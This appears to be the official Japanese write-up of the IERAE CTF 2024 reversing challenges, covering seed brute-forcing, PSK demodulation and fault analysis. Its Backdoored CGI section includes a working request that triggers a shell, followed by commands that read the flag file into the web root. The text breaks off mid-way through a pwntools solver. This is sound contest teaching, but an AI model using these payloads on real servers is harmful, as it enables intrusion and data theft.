【Reversing】 IERAE CTF 2024 公式 Writeup
本記事では2024年9月21日~22日に開催された、IERAE CTF 2024のReversing問題の解法を解説します。
- Assignment (warmup)
- Luz Da Lua (easy, was-warmup)
- The Kudryavka Sequence (easy)
- analog (medium)
- Backdoored CGI (hard, +web)
- Fortress (hard, +crypto)
他のジャンルの解説は以下の記事をご覧ください:
Assignment (warmup)
作問者: hugeh0ge
正解チーム数: 127
概要
chal
という名前のELFファイルが与えられ、リバースエンジニアリングによりフラグを割り出す問題です。
解法
リバースエンジニアリングにより、chal
は以下のようなコードがコンパイルされたものであると分かります。
char flag[34];
int main(int argc, char *argv[]) {
flag[28] = '3';
flag[1] = 'E';
flag[2] = 'R';
flag[20] = 'r';
flag[26] = 'a';
flag[10] = '_';
flag[32] = '}';
...
flag[14] = 'd';
if (argc >= 2 && !strcmp(flag, argv[1])) {
puts(flag);
}
}
特に、IDA Proやghidraによりデコンパイルを行うと、上記のコードをすぐに復元することができます。フラグを1文字ずつ、ランダムな順序で配列に格納しているだけであるため、代入されている文字を適切に並び替えると、フラグが分かります。
フラグ: IERAE{s0me_r4nd0m_str1ng_5a9354c}
Luz Da Lua (easy, was-warmup)
作問者: n4nu
正解チーム数: 86
概要
LuzDaLua.luac
をというLuaバイトコードにコンパイルされたファイルを解析する問題です。
以下のように実際に動かしてみると、入力された文字列が適切かどうか判定するプログラムであることがわかります。
このプログラムがCorrectのような出力をする文字列を見つける必要があります。
$ lua LuzDaLua.lua
Input > aaaaaa
Wrong
解法
まずLuaバイトコードを解析する方法としてまずディスアセンブルをする方法とデコンパイルする方法が考えられます。Lua 5.4のバイトコードに対応したデコンパイラを調査すると、unluac(https://sourceforge.net/projects/unluac/files/Unstable/ )というデコンパイラが見つかります。
unluacを使うと以下のようにLuaとして解釈可能なデコンパイル結果が得られます。
$ java -jar unluac_2023_12_24.jar ./LuzDaLua.luac
io.write("Input > ")
input = io.read("*l")
if 28 ~= string.len(input) then
elseif string.byte(input, 1) ~ 232 ~= 161 then
elseif 43 ~= string.byte(input, 2) ~ 110 then
elseif string.byte(input, 3) ~ 178 ~= 224 then
elseif string.byte(input, 4) ~ 172 ~= 237 then
elseif string.byte(input, 5) ~ 212 ~= 145 then
elseif 98 ~= string.byte(input, 6) ~ 25 then
elseif 121 ~= string.byte(input, 7) ~ 53 then
elseif 74 ~= string.byte(input, 8) ~ 63 then
elseif string.byte(input, 9) ~ 135 ~= 230 then
elseif 3 ~= string.byte(input, 10) ~ 92 then
elseif 23 ~= string.byte(input, 11) ~ 38 then
elseif string.byte(input, 12) ~ 250 ~= 137 then
elseif 135 ~= string.byte(input, 13) ~ 216 then
elseif 86 ~= string.byte(input, 14) ~ 5 then
elseif 117 ~= string.byte(input, 15) ~ 69 then
elseif string.byte(input, 16) ~ 226 ~= 189 then
elseif string.byte(input, 17) ~ 137 ~= 186 then
elseif string.byte(input, 18) ~ 148 ~= 240 then
elseif 53 ~= string.byte(input, 19) ~ 64 then
elseif string.byte(input, 20) ~ 130 ~= 225 then
elseif string.byte(input, 21) ~ 241 ~= 197 then
elseif string.byte(input, 22) ~ 151 ~= 227 then
elseif 250 ~= string.byte(input, 23) ~ 203 then
elseif string.byte(input, 24) ~ 179 ~= 220 then
elseif string.byte(input, 25) ~ 216 ~= 182 then
elseif 4 ~= string.byte(input, 26) ~ 101 then
elseif 130 ~= string.byte(input, 27) ~ 238 then
elseif 64 ~= string.byte(input, 28) ~ 61 then
else
print("Correct")
goto lbl_305
end
print("Wrong")
::lbl_305::
ここでは入力を1バイトずつXOR演算を行い、ある値と一致するかチェックしています。
そこで、このプログラムをもとに2つの値から期待される入力の文字列を復元するプログラムをPythonで作成しました。
flag = ''
flag += chr(232 ^ 161)
flag += chr(43 ^ 110)
flag += chr(178 ^ 224)
flag += chr(172 ^ 237)
flag += chr(212 ^ 145)
flag += chr(98 ^ 25)
flag += chr(121 ^ 53)
flag += chr(74 ^ 63)
flag += chr(135 ^ 230)
flag += chr(3 ^ 92)
flag += chr(23 ^ 38)
flag += chr(250 ^ 137)
flag += chr(135 ^ 216)
flag += chr(86 ^ 5)
flag += chr(117 ^ 69)
flag += chr(226 ^ 189)
flag += chr(137 ^ 186)
flag += chr(148 ^ 240)
flag += chr(53 ^ 64)
flag += chr(130 ^ 225)
flag += chr(241 ^ 197)
flag += chr(151 ^ 227)
flag += chr(250 ^ 203)
flag += chr(179 ^ 220)
flag += chr(216 ^ 182)
flag += chr(4 ^ 101)
flag += chr(130 ^ 238)
flag += chr(64 ^ 61)
print(flag)
このプログラムを実行すると、flagが得られます。
IERAE{Lua_1s_S0_3duc4t1onal}
The Kudryavka Sequence (easy)
作問者: n4nu
正解チーム数: 13
概要
提供されたファイル(laika.zip)を展開すると以下の3つのファイルが展開されます。
laika.exe
はflag.png
というファイルを暗号化し、flag.png.laika
というファイルに書き出すプログラムです。
このflag.png.laika
を復号し、flag.png
を復元することがこの問題の目標です。
解法
実行ファイルをIDA等を用いて解析すると、大まかに以下の処理が実装されていることがわかります。
暗号化及びシャッフルに用いられるデータは時刻をもとに生成したseed値を特定することができれば再現することができることがわかります。以下に時刻取得とseed値生成の処理をC言語に書き起こしたものを示します。
GetLocalTime(&SystemTime);
srand(
SystemTime.wMilliseconds
+ 131243
* (SystemTime.wSecond
+ 131243
* (SystemTime.wMinute
+ 131243
* (SystemTime.wHour
+ 131243
* (SystemTime.wDay
+ 131243 * (SystemTime.wDayOfWeek + 131243 * (SystemTime.wMonth + 131243 * (SystemTime.wYear + 131243))))))));
GetLocalTime関数は現在のPCのタイムゾーンでの時刻を取得します。取得した時刻のSYSTEMTIME構造体の値をwYearから順番に131243を足して乗算する処理をした結果をseed値としています。
ここでzipに記録されたstatement.png
とflag.png.laika
の最終変更時刻を確認すると、2024 Sep 17 12:49:20
であることがわかります。statement.png
が作成された時刻とflag.png.laika
が作成された時刻の間でGetLocalTime関数が実行されていることから、SYSTEMTIME構造体のデータは 2024 Sep 17 12:49:20
と一致している事がわかります。
$ zipinfo -v ./laika.zip | grep -E '(\.png|UT extra field modtime)' | tail -n +3
statement.png
file last modified on (UT extra field modtime): 2024 Sep 17 12:49:20 local
file last modified on (UT extra field modtime): 2024 Sep 17 03:49:20 UTC
flag.png.laika
file last modified on (UT extra field modtime): 2024 Sep 17 12:49:20 local
file last modified on (UT extra field modtime): 2024 Sep 17 03:49:20 UTC
zipの仕様上、wMilliseconds
に相当するデータは記録されていませんが、Microsoftドキュメント(https://learn.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-systemtime )を参照すると、wMilliseconds
は0〜999とされており、現実的な時間で探索できる事がわかります。
以下にPythonを用いて実装したSolverを示します。
import datetime
import ctypes
from Crypto.Cipher import AES
crt = ctypes.CDLL('msvcrt.dll')
crt.srand.argtypes = [ctypes.c_uint]
crt.srand.restype = None
crt.rand.argtypes = []
crt.rand.restype = ctypes.c_int
def srand(seed):
crt.srand(seed)
def rand():
return crt.rand()
def rand_range(min_val, max_val):
rand_value = rand()
rand_value *= rand()
rand_value *= rand()
rand_value &= 0xffffffff
max_dword32 = 2**32 - 1
return min_val + rand_value // (max_dword32 // (max_val - min_val + 1) + 1)
def unshuffle_data(data):
size = len(data)
swaps = []
for i in range(size):
j = rand_range(0, size - 1)
swaps.append((i, j))
unshuffled_data = bytearray(data)
for i, j in reversed(swaps):
unshuffled_data[i], unshuffled_data[j] = unshuffled_data[j], unshuffled_data[i]
return unshuffled_data
def decrypt_aes_cbc(encrypted_data, key, iv):
aes = AES.new(key, AES.MODE_CBC, iv=iv)
decrypted = aes.decrypt(encrypted_data)
return decrypted
def main():
# Read the encrypted file
with open('flag.png.laika', 'rb') as f:
encrypted_data = f.read()
# zipinfo -v ./laika.zip
# statement.png
# file last modified on (UT extra field modtime): 2024 Sep 17 12:49:20 local
# flag.png.laika
# file last modified on (UT extra field modtime): 2024 Sep 17 12:49:20 local
mod_date = datetime.datetime(2024, 9, 17, 12, 49, 20)
localtime = {
'wYear': mod_date.year,
'wMonth': mod_date.month,
'wDayOfWeek': mod_date.isoweekday() % 7, # 0: Sunday, 1: Monday, ..,, 6: Saturday
'wDay': mod_date.day,
'wHour': mod_date.hour,
'wMinute': mod_date.minute,
'wSecond': mod_date.second,
'wMilliseconds': 0
}
for msec in range(1000):
if msec % 50 == 0:
print(f"Current msec: {msec:04d}")
localtime['wMilliseconds'] = msec
seed = 1
for key in localtime:
seed = (seed * 131243 + localtime[key]) & 0xffffffff
srand(seed)
# Key and IV (should be the same as used in encryption)
key = bytes([rand() & 0xff for _ in range(32)]) # Replace with actual key
iv = bytes([rand() & 0xff for _ in range(16)]) # Replace with actual IV
# Unshuffle the data
unshuffled_data = unshuffle_data(encrypted_data)
# Decrypt the data
decrypted_head = decrypt_aes_cbc(unshuffled_data[:16], key, iv)
PNG_MAGIC = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'
if decrypted_head.startswith(PNG_MAGIC):
decrypted_data = decrypt_aes_cbc(unshuffled_data, key, iv)
with open('decrypted_flag.png', 'wb') as f:
f.write(decrypted_data)
print("Decryption succeeded")
break
if __name__ == '__main__':
main()
上記のプログラムを実行して出力された画像にflagが記載されています。
IERAE{3xpec7at1on_1s_a_w0rd_r00ted_1n_g1ving_up.}
analog (medium)
作問者: noname
正解チーム数: 10
概要
Linux(x86-64)の実行ファイルanalog
が与えられます。この実行ファイルは入力(フラグ)を取り、これをある一定のアルゴリズムでエンコードして、出力(エンコードされたフラグ)を生成します。この実行ファイルにフラグを入力して生成された出力がバイナリファイルflag.encoded
として別途与えられているので、analog
をリバースエンジニアリングした知見に基づいてflag.encoded
をデコードし、フラグを得る問題です。
解法
analog
には難読化等が施されていないので、IDAやGhidraを用いれば概ね順当にデコンパイルできます。デコンパイルすると、5つの関数で連鎖的に入力を処理していることが分かります。説明のため、ここでは著者が作問時に実装したソースコードでこの5つの関数の内容を次に示します。
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <math.h>
float random_float()
{
uint32_t r;
FILE* file = fopen("/dev/urandom", "r");
fread(&r, sizeof(r), 1, file);
fclose(file);
return r / (0xffffffff * 1.0);
}
void func_1(char* inbuf, size_t inlen, uint8_t** outbuf, size_t* outlen)
{
*outlen = inlen * 8;
*outbuf = (uint8_t*)malloc(*outlen);
for (int i = 0; i < *outlen; i++) {
(*outbuf)[i] = (inbuf[i / 8] >> (i % 8)) & 1;
}
free(inbuf);
}
void func_2(uint8_t* inbuf, size_t inlen, uint8_t** outbuf, size_t* outlen)
{
size_t padding = (3 * 8) - inlen % (3 * 8);
inlen += padding;
inbuf = realloc(inbuf, inlen);
for (int i = inlen - padding; i < inlen; i++) {
inbuf[i] = 0;
}
*outlen = inlen / 3;
*outbuf = (uint8_t*)malloc(*outlen);
for (int i = 0; i < inlen; i += 3) {
uint8_t bits = \
(inbuf[i + 2] << 2) | \
(inbuf[i + 1] << 1) | \
(inbuf[i + 0] << 0);
(*outbuf)[i / 3] = bits;
}
free(inbuf);
}
void func_3(uint8_t* inbuf, size_t inlen, uint8_t** outbuf, size_t* outlen)
{
const uint8_t symbol_map[] = {
0b000,
0b011,
0b111,
0b100,
0b001,
0b010,
0b110,
0b101,
};
*outlen = inlen;
*outbuf = (uint8_t*)malloc(*outlen);
for (int i = 0; i < inlen; i++) {
(*outbuf)[i] = symbol_map[inbuf[i]];
}
free(inbuf);
}
void func_4(uint8_t* inbuf, size_t inlen, float** outbuf, size_t* outlen)
{
*outlen = inlen * (4) * 2 * sizeof(**outbuf);
*outbuf = (float*)malloc(*outlen);
for (int i = 0; i < inlen; i++) {
const float phase = (M_PI * 2.0) * (inbuf[i] / 8.0) + (M_PI * 2.0) * (1.0 / 16.0);
for (int j = 0; j < (4) * 2; j += 2) {
(*outbuf)[i * (4) * 2 + j + 0] = cosf(phase);
(*outbuf)[i * (4) * 2 + j + 1] = sinf(phase);
}
}
free(inbuf);
}
void func_5(float* inbuf, size_t inlen, float** outbuf, size_t* outlen)
{
*outlen = inlen;
*outbuf = (float*)malloc(*outlen);
for (int i = 0; i < inlen / sizeof(*inbuf); i += 2) {
float r, h;
r = (M_PI * 2.0) * random_float();
h = random_float();
(*outbuf)[i + 0] = inbuf[i + 0] + cosf(r) * ((0.4) * h);
(*outbuf)[i + 1] = inbuf[i + 1] + sinf(r) * ((0.4) * h);
}
free(inbuf);
}
int main(int argc, char** argv)
{
void *inbuf, *outbuf;
size_t inlen, outlen;
inbuf = malloc(256);
inlen = fread(inbuf, 1, 256, stdin);
func_1((char*)inbuf, inlen, (uint8_t**)&outbuf, &outlen);
inbuf = outbuf;
inlen = outlen;
func_2((uint8_t*)inbuf, inlen, (uint8_t**)&outbuf, &outlen);
inbuf = outbuf;
inlen = outlen;
func_3((uint8_t*)inbuf, inlen, (uint8_t**)&outbuf, &outlen);
inbuf = outbuf;
inlen = outlen;
func_4((uint8_t*)inbuf, inlen, (float**)&outbuf, &outlen);
inbuf = outbuf;
inlen = outlen;
func_5((float*)inbuf, inlen, (float**)&outbuf, &outlen);
inbuf = outbuf;
inlen = outlen;
fwrite(outbuf, 1, outlen, stdout);
free(outbuf);
}
func_1
は入力のバイト列を1bitずつ展開し、func_2
は1bitずつ展開されたバイト列を3bitずつに組み立て直しています。func_3
は3bit 8通りの値を全単射で他の3bit 8通りの値へ置換し、func_4
はこの3bit 8通りの値を入力として1要素ずつcos/sinを計算し2次元平面における円周上の座標に変換します。最後にfunc_5
が座標に対して乱数でノイズを加え、出力します。
フラグが3bitずつ二次元平面上の座標としてエンコードされているので、座標からフラグを復元可能なことが分かるかと思います。最後にノイズが加えられてはいますが、同一の3bit値に対して4回座標が算出され、それぞれに対して独立にノイズが加えられているので、平均を取ることでノイズをある程度相殺できます。その方針で素直にフラグを復元するコードを実装して解くのも想定解ではあるのですが、著者として期待したのは、このまどろっこしいアルゴリズムが「何の処理なのか」ということを考えてもらうことです。
ChatGPTなどにデコンパイルしたコードを入力して聞いてみると、このアルゴリズムが信号処理のそれであることを示唆する返答がしばしば得られます。また、CTFでRadioジャンルの問題を解く人にこのコードを見せると、ピンと来ることもあるのではないかと思います。結論から言うと、このアルゴリズムは無線通信における位相偏移変調(PSK)の変調処理をソフトウェアで実装したものです。出力されるファイルはフラグをPSK変調でエンコードしてノイズを加えたものになっており、GNU Radio等のツールでPSK復調を行うと、慣れている人なら復元コードを素直に実装するよりも早く問題を解けるようになっています。
ということで、この問題の第一の想定解はGNU RadioによるPSK復調、第二の想定解は自前実装によるフラグ復元となります。単にアルゴリズムをリバースエンジニアリングしても解けるのですが、より高い抽象度で処理の意味を解明できる人にはボーナスとしてショートカットを可能にすることを意図しました。
GNU Radioを使う想定解は次の通りです。
連続して送信されるサンプルをSymbol Syncで間引き、Constellation Decoderで8PSKとして復調し、Repack Bitsで3bit単位の伝送を8bit単位に詰め直して出力します。また、Symbol Sync後にQT GUI Time SinkとQT GUI Constellation Sinkへ信号を出力し、右下のグラフで確認できるようにしています。
復調結果は次のようになります。フラグとして期待される書式のデータが得られていることが分かります。
IERAE{CUX1gTetD0bi5Cj7fGJUiEYK52L6vFwoGIJa1FidfbU}
Backdoored CGI (hard, +web)
作問者: hugeh0ge
正解チーム数: 1
概要
バックドアが仕掛けられた後のCGIと、仕掛けられる前のCGIが与えられるので、以下の手順により、バックドアが仕掛けられたCGIを動かしているWebサーバーに侵入する問題です。
- バックドアがどこに実装されているのかを特定する
- バックドアを実行するための条件を割り出す
- Webサーバーに通信を送り、バックドアを起動し、サーバー上のフラグを得る
なお、CGIはC++で実装されたバイナリになっています。
解法
問題文で言及されている通り、バックドアを仕掛けられる前と仕掛けられた後で、逆アセンブリ結果に違いが一切ありません。
$ diff <(objdump -d original_setting.cgi) <(objdump -d patched_setting.cgi)
2c2
< original_setting.cgi: file format elf64-x86-64
---
> patched_setting.cgi: file format elf64-x86-64
$
しかしながら、確かに、問題文中に書かれているコマンドを実行すると、patched_setting.cgi
でのみ、/bin/sh
が起動します。
user@laptop:distfiles/$ ENABLE_DEBUG_CGI=1 ./original_setting.cgi "500 test"
terminate called after throwing an instance of 'int'
Aborted
user@laptop:distfiles/$ ENABLE_DEBUG_CGI=1 ./patched_setting.cgi "500 test"
$ ps
PID TTY TIME CMD
91801 pts/2 00:00:00 bash
171259 pts/2 00:00:00 sh
strace
やgdb
などにより、patched_setting.cgi
が/bin/sh
を起動するまでの流れをデバッグしてみると、original_setting.cgi
と同様に例外をthrowした後、なぜか /bin/sh
を起動していることが分かります。
逆アセンブル結果は一致しており、機械語自体には一切パッチが当てられないこと、C++の例外ではDWARFが利用されていることなどを照らし合わせると、DWARFバイトコードによりバックドアが実装されているのではないか、と予想がつきます。実際、readelf -w
などの実行結果を、2つのCGIで見比べてみると、以下のような差があることが分かります。
$ diff <(readelf -w ./original_setting.cgi) <(readelf -w ./patched_setting.cgi)
...
207c207,211
< DW_CFA_advance_loc2: 2152 to 000000000040783c
---
> DW_CFA_advance_loc1: 254 to 00000000004070d2
> DW_CFA_val_expression: r7 (rsp) (DW_OP_drop; DW_OP_const4u: 4237397; DW_OP_const4u: 5901258; DW_OP_const4u: 4264352; DW_OP_const1u: 0; DW_OP_const4u: 4217184; DW_OP_reg7 (rsp); DW_OP_const2u: 2384; DW_OP_minus)
> DW_CFA_advance_loc: 5 to 00000000004070d7
> DW_CFA_val_expression: r7 (rsp) (DW_OP_drop; DW_OP_reg7 (rsp); DW_OP_const2u: 888; DW_OP_plus; DW_OP_deref; DW_OP_const1u: 1; DW_OP_over; DW_OP_deref_size: 1; DW_OP_dup; DW_OP_const1u: 0; DW_OP_eq; DW_OP_bra: 9; DW_OP_mul; DW_OP_swap; DW_OP_const1u: 1; DW_OP_plus; DW_OP_swap; DW_OP_skip: -19; DW_OP_drop; DW_OP_const8u: 4294967296; DW_OP_mod; DW_OP_const4u: 4277009102; DW_OP_ne; DW_OP_bra: 26; DW_OP_drop; DW_OP_const4u: 4237397; DW_OP_const4u: 5901258; DW_OP_const4u: 4264352; DW_OP_const1u: 0; DW_OP_const4u: 4217184; DW_OP_skip: 138; DW_OP_drop; DW_OP_const4u: 4237397; DW_OP_const1u: 73; DW_OP_const4u: 4264352; DW_OP_const4u: 6269056; DW_OP_const4u: 5156016; DW_OP_const4u: 4237397; DW_OP_const1u: 100; DW_OP_const4u: 4264352; DW_OP_const4u: 6269056; DW_OP_const4u: 5156016; DW_OP_const4u: 4237397; DW_OP_const1u: 105; DW_OP_const4u: 4264352; DW_OP_const4u: 6269056; DW_OP_const4u: 5156016; DW_OP_const4u: 4237397; DW_OP_const1u: 111; DW_OP_const4u: 4264352; DW_OP_const4u: 6269056; DW_OP_const4u: 5156016; DW_OP_const4u: 4237397; DW_OP_const1u: 116; DW_OP_const4u: 4264352; DW_OP_const4u: 6269056; DW_OP_const4u: 5156016; DW_OP_const4u: 4237397; DW_OP_const1u: 10; DW_OP_const4u: 4264352; DW_OP_const4u: 6269056; DW_OP_const4u: 5156016; DW_OP_const4u: 5089584; DW_OP_reg7 (rsp); DW_OP_const2u: 2352; DW_OP_minus)
> DW_CFA_advance_loc2: 1893 to 000000000040783c
これらのDW_CFA_val_expression
がバックドアの本体になっています。ただし、上記の出力からも分かる通り、バイトコードは2種類存在しています。アドレス 0x4070d2
から 0x4070d6
の間で例外が発生した場合には1つめのバイトコードが、0x4070d7
以降で例外が発生した場合は 2つめのバイトコードが実行されます。
0x4070d2
から 0x4070d6
は、ENABLE_DEBUG_CGI=1 ./patched_setting.cgi "500 test"
を実行した際の、throw 1
が行われるアドレスです。1つめのバイトコードをリバースエンジニアリングしてみると、単純にROPによって /bin/sh
を実行していることが分かります。したがって、リモートのWebサーバーに対しても、このコードパスを用いて /bin/sh
を起動したくなるところです。しかし、冷静に考えてみると、Webサーバー経由では、CGIには HTTP_
で始まる環境変数しか設定することができないため、この実行パスによるバックドアの起動はできないことが分かります。
そこで、2つめのバイトコードに注目してみます。解析すると、2つめのバイトコードには、パスワード認証のようなものが掛かっており、それを突破すると1つめのバイトコードと同様に /bin/sh
を起動することが分かります。
さて、ここまで調査したことを整理すると、以下の2つの障壁をクリアする必要があると分かります。
- 2つめのバイトコードが実行されるように、
0x4070d7
以降(すなわち、CGIの処理中)で例外が起きる実行パスを見つける - バイトコード中のパスワード認証を突破する
前者は、言い換えるとCGIが用いているOSSライブラリ cgicc から、unhandled exceptionを起こしてしまう実行パスを見つけるということなので、webパートであると分かります(配布した README
にも記載した通り、CGIはcgiccをパッチすることなく用いているため、以降、CGIのリバースエンジニアリングは不要です)。
後者は、バイトコードをリバースエンジニアリングし、パスワードの検証ロジックを理解したうえで、パスワードを算出するreversingパートになります。
まず、前者については、結論から言うと Content-Length
を 10 ** 9などの大きな値に設定すると、std::bad_alloc
が発生します。これは、cgiccの以下の部分を読めばわかります(httpd.confで、使用できるメモリ量が制限されていることに注意します)。
if(stringsAreEqual(fRequestMethod, "post") || stringsAreEqual(fRequestMethod, "put")) {
// Don't use auto_ptr, but vector instead
// Bug reported by shinra@j10n.org
std::vector<char> data(fContentLength);
実際、CGIで試してみると、バックドアの有無によって挙動が変化し、バイトコードが実行されていることが分かります。
$ CONTENT_LENGTH=10000000000000 REQUEST_METHOD=POST ./original_setting.cgi
terminate called after throwing an instance of 'std::bad_alloc'
what(): std::bad_alloc
Aborted
$ CONTENT_LENGTH=10000000000000 REQUEST_METHOD=POST ./patched_setting.cgi
Idiot
$
次にバイトコードのパスワード認証ですが、リバースエンジニアリングをすれば、「Referer
ヘッダに与えられているバイト列を見て、各バイトを1バイト整数として掛け合わせたとき、4バイト整数として 0xfeedface
になるか」を検証していることが分かります。条件を満たすパスワードは、半分全列挙や幅優先探索といったアルゴリズムにより求めることが可能です。実装の際は、ヘッダに含められるバイトのみから構成しなければならないことに注意が必要です(例えばヌル文字は含められない)。
以上により、例えば下記のようなヘッダでリクエストを送信すると、/bin/sh
が実行されると分かります。
POST /cgi-bin/setting.cgi HTTP/1.1
Host: localhost
Content-Length: 1000000000
Referer: \x21\x21\xa1\xc1\xfe\x8d\x9d
最後に、CGIとの通信では、Apache httpdが間に挟まっていることをケアする必要があります。というのも、こちらが /bin/sh
に送る入力は、Apache httpdがバッファリングをしてしまうため、1バイトずつCGIが受け取ってくれるわけではありません。また、例えば Content-Length: 1000000000
を送信したとき、基本的にApache httpdは1000000000バイトのデータを受け取るまで、CGIの出力を返してくれません。
前者の問題については、数千バイトのデータを送れば、Apache httpdは、それをCGIにフラッシュ(送信)してくれるため、例えば cat /flag*
のような少ないバイト数のデータを送らないようにさえ気を付けていればよいです。
後者の問題については、Dockerfile
を見ると、ドキュメントルートである/usr/local/apache2/htdocs/
が書き込み可になっているため、cat /flag* > /usr/local/apache2/htdocs/sample.txt
のようなコマンドを実行したのち、curl $HOST/sample.txt
によってフラグを取得すればよいです。あるいは、外部サーバーにコネクトバックさせることでも取得できると考えられます。
Fortress (hard, +crypto)
作問者: n4nu
正解チーム数: 1
概要
Rustで書かれたプログラムがサーバーで動作しており、「入力されたデータの暗号化」と「暗号化されたフラグの取得」が可能です。目標は暗号化されたフラグを復号することです。
解法
機能概要
実行ファイルを動作させるにはkey.txt
とflag.txt
が実行ディレクトリに存在する必要があります。key.txt
は96バイトである必要があり、関数core::iter::adapters::try_process
内で呼び出される関数core::num::<impl u8>::from_str_radix
によって16進数として解釈され、型Vec<u8>
のデータに変換されます。
型Vec<u8>
に変換された鍵を使って暗号化に用いる内部ステートの初期化を行い(sub_86A0)、flag.txt
のデータを暗号化します(sub_8980)。
flagの暗号化が完了すると、メニュー画面が表示されます。仮に設定したkey.txt
とflag.txt
を設定したうえで実行すると以下のような文字列が表示されます。
$ ./fortress
1. Encrypt
2. Get Encrypted Flag
3. Exit
>
ここで1を押すと「入力されたデータの暗号化」、2を押すと「暗号化されたフラグの取得」の機能が利用できます。
「入力されたデータの暗号化」は関数sub_9670で行っています。関数sub_9670に遷移するとまず標準入力から文字列を受け取ります。受け取ったデータはBase64としてデコードされます(0x974D 〜 0x98AD)。その後関数sub_8980内で暗号化された後、関数sub_9280でBase64エンコードされて標準出力に書き出されます。
「暗号化されたフラグの取得」は関数sub_9BB0で行っています。当該関数の呼び出し時に暗号化済みのflagを渡し、Base64エンコードを行い標準出力に書き出します。
暗号化処理の概要
暗号化処理を擬似コードに書き起こしたものを以下に示します。ここでaesenc関数はx86命令におけるAESENCと同じ動作をします。またここで扱うデータのビット幅は128bitです。
ciphertext[0] = plaintext[0] ^ aesenc( state[1], state[5]);
ciphertext[1] = plaintext[1] ^ aesenc(state[0] ^ state[4], state[2]);
state_new[0] = state[7] ^ ciphertext[0];
state_new[1] = aesenc(state[0], state[7]);
state_new[2] = state[1] ^ state[6];
state_new[3] = aesenc(state[2], state[1]);
state_new[4] = state[3] ^ ciphertext[1];
state_new[5] = aesenc(state[4], state[3]);
state_new[6] = aesenc(state[5], state[4]);
state_new[7] = state[6] ^ state[0];
copy_state(state, state_new);
ラウンドごとにaesenc関数とstateによって生成された乱数列を用いてplaintextを暗号化したのち、暗号文をもとにしたstateの更新を行います。
Base64パディングビットを利用したバックドア
「入力されたデータの暗号化」のBase64デコード処理において、パディングビット使ったバックドアが実装されています。このバックドアを利用することで内部ステートに対して1ビット反転(故障の挿入)を行うことが可能です。
Base64は6ビットを1文字に置き換えるため、6*n+2ビットのデータをエンコードする際に、余った2ビットに対して4ビット追加します。ここでは通常0000
がパディングとして用いられますが、デコード結果に影響を及ぼさないため、任意のビット列を挿入することが可能です。今回のプログラムではこの4ビットのうち、最上位ビットをバックドアのトリガーとして、故障挿入を行います。以下にバックドア機能における故障挿入処理のコードを示します。
Err(e) => {
if e.msg & 0b1000 != 0 {
let xor_bit_location = ((e.msg >> 4) & 0b01111111) as u8;
let state_location = (e.msg & 0b0111) as usize;
ctx.state[state_location] ^= ((1 as u128) << xor_bit_location) as u128;
e.data
} else {
e.data
}
}
上記のコードのように、パディングビットのち最上位ビットを除いた残りの3ビットで故障を挿入する内部ステートのインデックスを指定し、デコードした結果の末尾7ビットを用いて、故障を挿入するビットの位置を指定することが可能です。
差分故障解析による内部ステートの復元
内部ステートのある1ビットに対してビット反転操作を行うことが可能であり、差分故障解析をすることで内部状態の復元が可能です。
まずstate[1]
に着目します。state[1]
が関わる暗号化処理は以下のとおりです。
ciphertext[0] = plaintext[0] ^ aesenc(state[1], state[5]);
このときstate[1]
に故障を挿入するということはラウンド数が1のAESに対して差分故障解析を行うことと同じであると言えます。そこで実際にstate[1]
のあるビットに故障を挿入したときと、故障を挿入していない暗号文の差分を計算すると4バイト分のデータに差分が現れることがわかります。ラウンド数が1のAESに対する差分故障解析についてはDifferential Fault Analysis on A.E.S.を参照することを推奨します。
差分故障解析を用いてstate[1]
を復元すると、ciphertext[0]
が既知であることからstate[5]
を復元することができます。
次にstate[4]
に故障を挿入する差分故障解析を考えます。state[1]
が関わる暗号化処理は以下のとおりです。
ciphertext[1] = plaintext[1] ^ aesenc(state[0] ^ state[4], state[2]);
同様にstate[4]
での差分故障解析を行うと、state[0] ^ state[4]
とstate[2]
を復元できます。
次にstate[3]
に故障挿入を行う差分故障解析では、差分が現在の暗号文ではなく1ラウンド先の暗号文に現れます。これによりstate[3] ^ state[7]
が復元でき、同時にstate[6]
を復元できます。以降同様に差分故障解析を行うことで state[4]
、state[0]
、state[7]
を復元できます。
内部ステートの巻き戻し
今回の問題では既に暗号化した結果(暗号化されたflag)を復号する必要があります。そのためには以前のラウンドの内部ステートを復元することが必要となります。
あるラウンドの内部ステートと1つ前のラウンドの暗号文が既知である前提をおくと、以下の擬似コードの通りに復元するここでaesdec関数はx86命令におけるAESDECと同じ動作をします。またここで扱うデータのビット幅は128bitです。
prev_state[7] = xor(state[0], ciphertext[0])
prev_state[0] = aesdec(state[1], prev_state[7])
prev_state[3] = xor(state[4], ciphertext[1])
prev_state[4] = aesdec(state[5], prev_state[3])
prev_state[5] = aesdec(state[6], prev_state[4])
prev_state[6] = xor(state[7], prev_state[0])
prev_state[1] = xor(state[2], prev_state[6])
prev_state[2] = aesdec(state[3], prev_state[1])
Solver
flagの暗号化に用いられた内部ステートの復元までできたため、aesenc(state[1], state[5])
とaesenc(state[0] ^ state[4], state[2])
を計算することでflagを復号することが可能です。以下に差分故障解析を含めたsolverのコードを示します。
from pwn import *
import argparse
# context.log_level = 'debug'
context.log_level = 'error'
def parse_args():
parser = argparse.ArgumentParser(description='Exploit for Fortress')
parser.add_argument('--host', type=str, default='localhost', help='Host to connect to')
parser.add_argument('--port', type=int, default=20001, help='Port to connect to')
parser.add_argument('--binary', type=str, default=None, help='Path to the fortress binary')
return parser.parse_args()
class Fortress():
B64_TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
B64_DECODE_TABLE = {c: i for i, c in enumerate(B64_TABLE)}
SBOX = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
